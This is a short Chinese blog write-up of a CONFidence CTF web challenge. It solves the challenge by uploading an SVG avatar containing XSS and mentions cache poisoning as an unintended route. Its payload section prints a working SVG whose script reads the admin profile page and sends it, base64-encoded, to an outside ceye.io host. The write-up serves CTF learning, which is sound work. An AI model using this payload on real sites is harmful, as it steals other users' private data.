Xi4or0uji's blog

CONFidence CTF的一道题

字数统计: 434阅读时长: 1 min
2019/04/25 Share

这道题是之前在看先知的文章看到了,看了一下发现有点有趣,记录一下

题目

地址:http://web50.zajebistyc.tf/
预期解是svg xss,非预期是缓存投毒
首先我们先看一下题目,进去是登录框,随便乱填就可以进去

进去以后有一个头像上传的地方和secret的值,猜测应该是拿到管理员的secret值,然后利用点应该就是头像上传的地方了

SVG XSS

在测试的过程中发现可以上传任意后缀的文件,但是文件头必须是图片格式且尺寸只能是100*100,而且上传html文件时发现服务器会将文件当做图片解析,因此后台应该是根据文件头去进行解析的,所以我们可以找一个可以进行xss的图片,也就是svg
原理参考: https://www.hackersb.cn/hacker/85.html
payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 751 751" enable-background="new 0 0 751 751" xml:space="preserve"> <image id="image0" width="751" height="751" x="0" y="0"
href="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAu8AAALvCAIAAABa4bwGAAAAIGNIUk0AAHomAACAhAAA+gAAAIDo" />
<script>
var xmlhttp = new XMLHttpRequest();
var response;
xmlhttp.onreadystatechange = function() {
if (4 == xmlhttp.readyState) {
if (200 == xmlhttp.status) {
location.href='http://onsdtb.ceye.io?'+btoa(xmlhttp.responseText);
}
}
};
xmlhttp.open("GET", "/profile/admin");
xmlhttp.send();
</script>
</svg>

缓存投毒

这里贴一波国外的师傅的writeup:https://ctftime.org/writeup/13925
因为这个考点触及到我的知识盲区了,肉鸡决定研究一下

参考

CATALOG
  1. 1. 题目
  2. 2. SVG XSS
  3. 3. 缓存投毒
  4. 4. 参考